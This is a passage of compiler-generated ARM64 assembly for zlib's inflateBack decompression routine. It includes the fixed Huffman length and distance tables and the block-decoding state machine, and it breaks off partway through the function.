.byte 8
.hword 71
.byte 0
.byte 9
.hword 239
.byte 16
.byte 7
.hword 9
.byte 0
.byte 8
.hword 95
.byte 0
.byte 8
.hword 31
.byte 0
.byte 9
.hword 159
.byte 20
.byte 7
.hword 99
.byte 0
.byte 8
.hword 127
.byte 0
.byte 8
.hword 63
.byte 0
.byte 9
.hword 223
.byte 18
.byte 7
.hword 27
.byte 0
.byte 8
.hword 111
.byte 0
.byte 8
.hword 47
.byte 0
.byte 9
.hword 191
.byte 0
.byte 8
.hword 15
.byte 0
.byte 8
.hword 143
.byte 0
.byte 8
.hword 79
.byte 0
.byte 9
.hword 255
.align 3
.type distfix_0, %object
.size distfix_0, 128
distfix_0:
.byte 16
.byte 5
.hword 1
.byte 23
.byte 5
.hword 257
.byte 19
.byte 5
.hword 17
.byte 27
.byte 5
.hword 4097
.byte 17
.byte 5
.hword 5
.byte 25
.byte 5
.hword 1025
.byte 21
.byte 5
.hword 65
.byte 29
.byte 5
.hword 16385
.byte 16
.byte 5
.hword 3
.byte 24
.byte 5
.hword 513
.byte 20
.byte 5
.hword 33
.byte 28
.byte 5
.hword 8193
.byte 18
.byte 5
.hword 9
.byte 26
.byte 5
.hword 2049
.byte 22
.byte 5
.hword 129
.byte 64
.byte 5
.hword 0
.byte 16
.byte 5
.hword 2
.byte 23
.byte 5
.hword 385
.byte 19
.byte 5
.hword 25
.byte 27
.byte 5
.hword 6145
.byte 17
.byte 5
.hword 7
.byte 25
.byte 5
.hword 1537
.byte 21
.byte 5
.hword 97
.byte 29
.byte 5
.hword 24577
.byte 16
.byte 5
.hword 4
.byte 24
.byte 5
.hword 769
.byte 20
.byte 5
.hword 49
.byte 28
.byte 5
.hword 12289
.byte 18
.byte 5
.hword 13
.byte 26
.byte 5
.hword 3073
.byte 22
.byte 5
.hword 193
.byte 64
.byte 5
.hword 0
.text
.align 2
.type fixedtables_0, %function
fixedtables_0:
.LFB93:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
adrp x1, lenfix_0
add x1, x1, :lo12:lenfix_0
str x1, [x0, 96]
ldr x0, [sp, 8]
mov w1, 9
str w1, [x0, 112]
ldr x0, [sp, 8]
adrp x1, distfix_0
add x1, x1, :lo12:distfix_0
str x1, [x0, 104]
ldr x0, [sp, 8]
mov w1, 5
str w1, [x0, 116]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE93:
.size fixedtables_0, .-fixedtables_0
.section .rodata
.align 3
.type order_0, %object
.size order_0, 38
order_0:
.hword 16
.hword 17
.hword 18
.hword 0
.hword 8
.hword 7
.hword 9
.hword 6
.hword 10
.hword 5
.hword 11
.hword 4
.hword 12
.hword 3
.hword 13
.hword 2
.hword 14
.hword 1
.hword 15
.text
.align 2
.global inflateBack
.type inflateBack, %function
inflateBack:
.LFB94:
.cfi_startproc
stp x29, x30, [sp, -336]!
.cfi_def_cfa_offset 336
.cfi_offset 29, -336
.cfi_offset 30, -328
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 328]
mov x1, 0
ldr x0, [sp, 56]
cmp x0, 0
bne .L1343
mov w0, -2
str w0, [sp, 84]
b .L1344
.L1343:
ldr x0, [sp, 56]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1345
mov w0, -2
str w0, [sp, 84]
b .L1344
.L1345:
ldr x0, [sp, 56]
ldr x0, [x0, 56]
str x0, [sp, 184]
ldr x0, [sp, 56]
str xzr, [x0, 48]
ldr x0, [sp, 184]
mov w1, 11
str w1, [x0]
ldr x0, [sp, 184]
str wzr, [x0, 4]
ldr x0, [sp, 184]
str wzr, [x0, 56]
ldr x0, [sp, 56]
ldr x0, [x0]
str x0, [sp, 152]
ldr x0, [sp, 152]
cmp x0, 0
beq .L1346
ldr x0, [sp, 56]
ldr w0, [x0, 8]
str w0, [sp, 88]
b .L1347
.L1346:
str wzr, [sp, 88]
.L1347:
str xzr, [sp, 168]
str wzr, [sp, 96]
ldr x0, [sp, 184]
ldr x0, [x0, 64]
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
str w0, [sp, 92]
.L1462:
ldr x0, [sp, 184]
ldr w0, [x0]
cmp w0, 29
beq .L1348
cmp w0, 29
bhi .L1349
cmp w0, 28
beq .L1350
cmp w0, 28
bhi .L1349
cmp w0, 20
beq .L1351
cmp w0, 20
bhi .L1349
cmp w0, 16
beq .L1376
cmp w0, 16
bhi .L1349
cmp w0, 11
beq .L1353
cmp w0, 13
beq .L1354
b .L1349
.L1353:
ldr x0, [sp, 184]
ldr w0, [x0, 4]
cmp w0, 0
beq .L1357
ldr w0, [sp, 96]
and w0, w0, 7
ldr x1, [sp, 168]
lsr x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
and w0, w0, -8
str w0, [sp, 96]
nop
ldr x0, [sp, 184]
mov w1, 28
str w1, [x0]
b .L1356
.L1360:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1490
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1490
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1490:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 320]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 320]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1357:
ldr w0, [sp, 96]
cmp w0, 2
bls .L1360
nop
ldr x0, [sp, 168]
and w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 4]
ldr x0, [sp, 168]
lsr x0, x0, 1
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #1
str w0, [sp, 96]
nop
ldr x0, [sp, 168]
and w0, w0, 3
cmp w0, 3
beq .L1361
cmp w0, 3
bhi .L1362
cmp w0, 2
beq .L1363
cmp w0, 2
bhi .L1362
cmp w0, 0
beq .L1364
cmp w0, 1
beq .L1365
b .L1362
.L1364:
ldr x0, [sp, 184]
mov w1, 13
str w1, [x0]
b .L1362
.L1365:
ldr x0, [sp, 184]
bl fixedtables_0
ldr x0, [sp, 184]
mov w1, 20
str w1, [x0]
b .L1362
.L1363:
ldr x0, [sp, 184]
mov w1, 16
str w1, [x0]
b .L1362
.L1361:
ldr x0, [sp, 56]
adrp x1, .LC24
add x1, x1, :lo12:.LC24
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
.L1362:
ldr x0, [sp, 168]
lsr x0, x0, 2
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #2
str w0, [sp, 96]
nop
b .L1356
.L1354:
ldr w0, [sp, 96]
and w0, w0, 7
ldr x1, [sp, 168]
lsr x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
and w0, w0, -8
str w0, [sp, 96]
nop
b .L1366
.L1368:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1491
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1491
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1491:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 312]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 312]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1366:
ldr w0, [sp, 96]
cmp w0, 31
bls .L1368
nop
ldr x0, [sp, 168]
and x1, x0, 65535
ldr x0, [sp, 168]
lsr x0, x0, 16
eor x0, x0, 65535
cmp x1, x0
beq .L1369
ldr x0, [sp, 56]
adrp x1, .LC25
add x1, x1, :lo12:.LC25
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1369:
ldr x0, [sp, 168]
and w1, w0, 65535
ldr x0, [sp, 184]
str w1, [x0, 84]
str xzr, [sp, 168]
str wzr, [sp, 96]
nop
b .L1370
.L1375:
ldr x0, [sp, 184]
ldr w0, [x0, 84]
str w0, [sp, 100]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1492
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1492
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1492:
nop
ldr w0, [sp, 92]
cmp w0, 0
bne .L1493
ldr x0, [sp, 184]
ldr x0, [x0, 64]
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
str w0, [sp, 92]
ldr x0, [sp, 184]
ldr w1, [sp, 92]
str w1, [x0, 56]
ldr x3, [sp, 32]
ldr w2, [sp, 92]
ldr x1, [sp, 160]
ldr x0, [sp, 24]
blr x3
str w0, [sp, 148]
ldr w0, [sp, 148]
cmp w0, 0
beq .L1493
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1493:
nop
ldr w1, [sp, 100]
ldr w0, [sp, 88]
cmp w1, w0
bls .L1373
ldr w0, [sp, 88]
str w0, [sp, 100]
.L1373:
ldr w1, [sp, 100]
ldr w0, [sp, 92]
cmp w1, w0
bls .L1374
ldr w0, [sp, 92]
str w0, [sp, 100]
.L1374:
ldr x0, [sp, 152]
ldr w2, [sp, 100]
mov x1, x0
ldr x0, [sp, 160]
bl memcpy
ldr w1, [sp, 88]
ldr w0, [sp, 100]
sub w0, w1, w0
str w0, [sp, 88]
ldr x1, [sp, 152]
ldr w0, [sp, 100]
add x0, x1, x0
str x0, [sp, 152]
ldr w1, [sp, 92]
ldr w0, [sp, 100]
sub w0, w1, w0
str w0, [sp, 92]
ldr w0, [sp, 100]
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr x0, [sp, 184]
ldr w1, [x0, 84]
ldr w0, [sp, 100]
sub w1, w1, w0
ldr x0, [sp, 184]
str w1, [x0, 84]
.L1370:
ldr x0, [sp, 184]
ldr w0, [x0, 84]
cmp w0, 0
bne .L1375
ldr x0, [sp, 184]
mov w1, 11
str w1, [x0]
b .L1356
.L1378:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1494
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1494
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1494:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 232]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 232]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1376:
ldr w0, [sp, 96]
cmp w0, 13
bls .L1378
nop
ldr x0, [sp, 168]
and w0, w0, 31
add w1, w0, 257
ldr x0, [sp, 184]
str w1, [x0, 124]
ldr x0, [sp, 168]
lsr x0, x0, 5
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #5
str w0, [sp, 96]
nop
ldr x0, [sp, 168]
and w0, w0, 31
add w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 128]
ldr x0, [sp, 168]
lsr x0, x0, 5
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #5
str w0, [sp, 96]
nop
ldr x0, [sp, 168]
and w0, w0, 15
add w1, w0, 4
ldr x0, [sp, 184]
str w1, [x0, 120]
ldr x0, [sp, 168]
lsr x0, x0, 4
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #4
str w0, [sp, 96]
nop
ldr x0, [sp, 184]
ldr w0, [x0, 124]
cmp w0, 286
bhi .L1495
ldr x0, [sp, 184]
ldr w0, [x0, 128]
cmp w0, 30
bls .L1381
b .L1380
.L1495:
nop
.L1380:
ldr x0, [sp, 56]
adrp x1, .LC26
add x1, x1, :lo12:.LC26
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1381:
ldr x0, [sp, 184]
str wzr, [x0, 132]
b .L1382
.L1385:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1496
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1496
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1496:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 224]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 224]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1383:
ldr w0, [sp, 96]
cmp w0, 2
bls .L1385
nop
ldr x0, [sp, 184]
ldr w0, [x0, 132]
str w0, [sp, 136]
ldr x0, [sp, 184]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 132]
ldr x0, [sp, 168]
and w0, w0, 65535
adrp x1, order_0
add x1, x1, :lo12:order_0
ldr w2, [sp, 136]
ldrh w1, [x1, x2, lsl 1]
and w0, w0, 7
and w2, w0, 65535
ldr x0, [sp, 184]
sxtw x1, w1
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
ldr x0, [sp, 168]
lsr x0, x0, 3
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #3
str w0, [sp, 96]
nop
.L1382:
ldr x0, [sp, 184]
ldr w1, [x0, 132]
ldr x0, [sp, 184]
ldr w0, [x0, 120]
cmp w1, w0
bcc .L1383
b .L1387
.L1388:
ldr x0, [sp, 184]
ldr w0, [x0, 132]
str w0, [sp, 132]
ldr x0, [sp, 184]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 132]
adrp x0, order_0
add x0, x0, :lo12:order_0
ldr w1, [sp, 132]
ldrh w0, [x0, x1, lsl 1]
mov w1, w0
ldr x0, [sp, 184]
sxtw x1, w1
add x1, x1, 72
strh wzr, [x0, x1, lsl 1]
.L1387:
ldr x0, [sp, 184]
ldr w0, [x0, 132]
cmp w0, 18
bls .L1388
ldr x0, [sp, 184]
add x1, x0, 1360
ldr x0, [sp, 184]
str x1, [x0, 136]
ldr x0, [sp, 184]
ldr x1, [x0, 136]
ldr x0, [sp, 184]
str x1, [x0, 96]
ldr x0, [sp, 184]
mov w1, 7
str w1, [x0, 112]
ldr x0, [sp, 184]
add x1, x0, 144
ldr x0, [sp, 184]
add x2, x0, 136
ldr x0, [sp, 184]
add x3, x0, 112
ldr x0, [sp, 184]
add x0, x0, 784
mov x5, x0
mov x4, x3
mov x3, x2
mov w2, 19
mov w0, 0
bl inflate_table
str w0, [sp, 108]
ldr w0, [sp, 108]
cmp w0, 0
beq .L1389
ldr x0, [sp, 56]
adrp x1, .LC27
add x1, x1, :lo12:.LC27
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1389:
ldr x0, [sp, 184]
str wzr, [x0, 132]
b .L1390
.L1394:
ldr x0, [sp, 184]
ldr x1, [x0, 96]
ldr x0, [sp, 168]
mov w3, w0
ldr x0, [sp, 184]
ldr w0, [x0, 112]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 72]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcs .L1497
ldr w0, [sp, 88]
cmp w0, 0
bne .L1498
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1498
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1498:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 192]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 192]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
b .L1394
.L1497:
nop
ldrh w0, [sp, 74]
cmp w0, 15
bhi .L1395
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
ldr x0, [sp, 184]
ldr w0, [x0, 132]
str w0, [sp, 128]
ldr x0, [sp, 184]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 132]
ldrh w2, [sp, 74]
ldr x0, [sp, 184]
ldr w1, [sp, 128]
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
b .L1390
.L1395:
ldrh w0, [sp, 74]
cmp w0, 16
bne .L1396
b .L1397
.L1399:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1499
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1499
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1499:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 216]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 216]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1397:
ldrb w0, [sp, 73]
add w0, w0, 2
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcc .L1399
nop
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
ldr x0, [sp, 184]
ldr w0, [x0, 132]
cmp w0, 0
bne .L1400
ldr x0, [sp, 56]
adrp x1, .LC28
add x1, x1, :lo12:.LC28
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1401
.L1400:
ldr x0, [sp, 184]
ldr w0, [x0, 132]
sub w1, w0, #1
ldr x0, [sp, 184]
uxtw x1, w1
add x1, x1, 72
ldrh w0, [x0, x1, lsl 1]
str w0, [sp, 104]
ldr x0, [sp, 168]
and w0, w0, 3
add w0, w0, 3
str w0, [sp, 100]
ldr x0, [sp, 168]
lsr x0, x0, 2
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #2
str w0, [sp, 96]
b .L1402
.L1396:
ldrh w0, [sp, 74]
cmp w0, 17
bne .L1407
b .L1404
.L1406:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1500
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1500
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1500:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 208]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 208]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1404:
ldrb w0, [sp, 73]
add w0, w0, 3
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcc .L1406
nop
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
str wzr, [sp, 104]
ldr x0, [sp, 168]
and w0, w0, 7
add w0, w0, 3
str w0, [sp, 100]
ldr x0, [sp, 168]
lsr x0, x0, 3
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #3
str w0, [sp, 96]
b .L1402
.L1409:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1501
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1501
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1501:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 200]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 200]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
.L1407:
ldrb w0, [sp, 73]
add w0, w0, 7
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcc .L1409
nop
ldrb w0, [sp, 73]
mov w1, w0
ldr x0, [sp, 168]
lsr x0, x0, x1
str x0, [sp, 168]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
sub w0, w0, w1
str w0, [sp, 96]
nop
str wzr, [sp, 104]
ldr x0, [sp, 168]
and w0, w0, 127
add w0, w0, 11
str w0, [sp, 100]
ldr x0, [sp, 168]
lsr x0, x0, 7
str x0, [sp, 168]
ldr w0, [sp, 96]
sub w0, w0, #7
str w0, [sp, 96]
nop
.L1402:
ldr x0, [sp, 184]
ldr w1, [x0, 132]
ldr w0, [sp, 100]
add w1, w1, w0
ldr x0, [sp, 184]
ldr w2, [x0, 124]
ldr x0, [sp, 184]
ldr w0, [x0, 128]
add w0, w2, w0
cmp w1, w0
bls .L1410
ldr x0, [sp, 56]
adrp x1, .LC28
add x1, x1, :lo12:.LC28
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1401
.L1410:
ldr w0, [sp, 100]
str w0, [sp, 120]
ldr w0, [sp, 100]
sub w0, w0, #1
str w0, [sp, 100]
ldr w0, [sp, 120]
cmp w0, 0
bne .L1411
b .L1390
.L1411:
ldr x0, [sp, 184]
ldr w0, [x0, 132]
str w0, [sp, 124]
ldr x0, [sp, 184]
ldr w0, [x0, 132]
add w1, w0, 1
ldr x0, [sp, 184]
str w1, [x0, 132]
ldr w0, [sp, 104]
and w2, w0, 65535
ldr x0, [sp, 184]
ldr w1, [sp, 124]
add x1, x1, 72
strh w2, [x0, x1, lsl 1]
b .L1410
.L1390:
ldr x0, [sp, 184]
ldr w1, [x0, 132]
ldr x0, [sp, 184]
ldr w2, [x0, 124]
ldr x0, [sp, 184]
ldr w0, [x0, 128]
add w0, w2, w0
cmp w1, w0
bcc .L1394
.L1401:
ldr x0, [sp, 184]
ldr w0, [x0]
cmp w0, 29
beq .L1502
ldr x0, [sp, 184]
ldrh w0, [x0, 656]
cmp w0, 0
bne .L1413
ldr x0, [sp, 56]
adrp x1, .LC29
add x1, x1, :lo12:.LC29
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1413:
ldr x0, [sp, 184]
add x1, x0, 1360
ldr x0, [sp, 184]
str x1, [x0, 136]
ldr x0, [sp, 184]
ldr x1, [x0, 136]
ldr x0, [sp, 184]
str x1, [x0, 96]
ldr x0, [sp, 184]
mov w1, 9
str w1, [x0, 112]
ldr x0, [sp, 184]
add x1, x0, 144
ldr x0, [sp, 184]
ldr w2, [x0, 124]
ldr x0, [sp, 184]
add x3, x0, 136
ldr x0, [sp, 184]
add x4, x0, 112
ldr x0, [sp, 184]
add x0, x0, 784
mov x5, x0
mov w0, 1
bl inflate_table
str w0, [sp, 108]
ldr w0, [sp, 108]
cmp w0, 0
beq .L1414
ldr x0, [sp, 56]
adrp x1, .LC30
add x1, x1, :lo12:.LC30
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1414:
ldr x0, [sp, 184]
ldr x1, [x0, 136]
ldr x0, [sp, 184]
str x1, [x0, 104]
ldr x0, [sp, 184]
mov w1, 6
str w1, [x0, 116]
ldr x0, [sp, 184]
ldr w0, [x0, 124]
uxtw x0, w0
add x0, x0, 72
lsl x0, x0, 1
ldr x1, [sp, 184]
add x1, x1, x0
ldr x0, [sp, 184]
ldr w2, [x0, 128]
ldr x0, [sp, 184]
add x3, x0, 136
ldr x0, [sp, 184]
add x4, x0, 116
ldr x0, [sp, 184]
add x0, x0, 784
mov x5, x0
mov w0, 2
bl inflate_table
str w0, [sp, 108]
ldr w0, [sp, 108]
cmp w0, 0
beq .L1415
ldr x0, [sp, 56]
adrp x1, .LC31
add x1, x1, :lo12:.LC31
str x1, [x0, 48]
ldr x0, [sp, 184]
mov w1, 29
str w1, [x0]
b .L1356
.L1415:
ldr x0, [sp, 184]
mov w1, 20
str w1, [x0]
.L1351:
ldr w0, [sp, 88]
cmp w0, 5
bls .L1421
ldr w0, [sp, 92]
cmp w0, 257
bls .L1421
ldr x0, [sp, 56]
ldr x1, [sp, 160]
str x1, [x0, 24]
ldr x0, [sp, 56]
ldr w1, [sp, 92]
str w1, [x0, 32]
ldr x1, [sp, 152]
ldr x0, [sp, 56]
str x1, [x0]
ldr x0, [sp, 56]
ldr w1, [sp, 88]
str w1, [x0, 8]
ldr x0, [sp, 184]
ldr x1, [sp, 168]
str x1, [x0, 72]
ldr x0, [sp, 184]
ldr w1, [sp, 96]
str w1, [x0, 80]
nop
ldr x0, [sp, 184]
ldr w1, [x0, 56]
ldr x0, [sp, 184]
ldr w0, [x0, 52]
cmp w1, w0
bcs .L1417
ldr x0, [sp, 184]
ldr w1, [x0, 52]
ldr w0, [sp, 92]
sub w1, w1, w0
ldr x0, [sp, 184]
str w1, [x0, 56]
.L1417:
ldr x0, [sp, 184]
ldr w0, [x0, 52]
mov w1, w0
ldr x0, [sp, 56]
bl inflate_fast
ldr x0, [sp, 56]
ldr x0, [x0, 24]
str x0, [sp, 160]
ldr x0, [sp, 56]
ldr w0, [x0, 32]
str w0, [sp, 92]
ldr x0, [sp, 56]
ldr x0, [x0]
str x0, [sp, 152]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
str w0, [sp, 88]
ldr x0, [sp, 184]
ldr x0, [x0, 72]
str x0, [sp, 168]
ldr x0, [sp, 184]
ldr w0, [x0, 80]
str w0, [sp, 96]
nop
b .L1356
.L1421:
ldr x0, [sp, 184]
ldr x1, [x0, 96]
ldr x0, [sp, 168]
mov w3, w0
ldr x0, [sp, 184]
ldr w0, [x0, 112]
mov w2, -1
lsl w0, w2, w0
mvn w0, w0
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 72]
ldrb w0, [sp, 73]
mov w1, w0
ldr w0, [sp, 96]
cmp w0, w1
bcs .L1503
ldr w0, [sp, 88]
cmp w0, 0
bne .L1504
add x0, sp, 152
ldr x2, [sp, 48]
mov x1, x0
ldr x0, [sp, 40]
blr x2
str w0, [sp, 88]
ldr w0, [sp, 88]
cmp w0, 0
bne .L1504
str xzr, [sp, 152]
mov w0, -5
str w0, [sp, 108]
b .L1359
.L1504:
nop
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
ldr x0, [sp, 152]
str x0, [sp, 240]
ldr x0, [sp, 152]
add x0, x0, 1
str x0, [sp, 152]
ldr x0, [sp, 240]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 96]
lsl x0, x1, x0
ldr x1, [sp, 168]
add x0, x1, x0
str x0, [sp, 168]
ldr w0, [sp, 96]
add w0, w0, 8
str w0, [sp, 96]
nop
b .L1421
.L1503:
nop
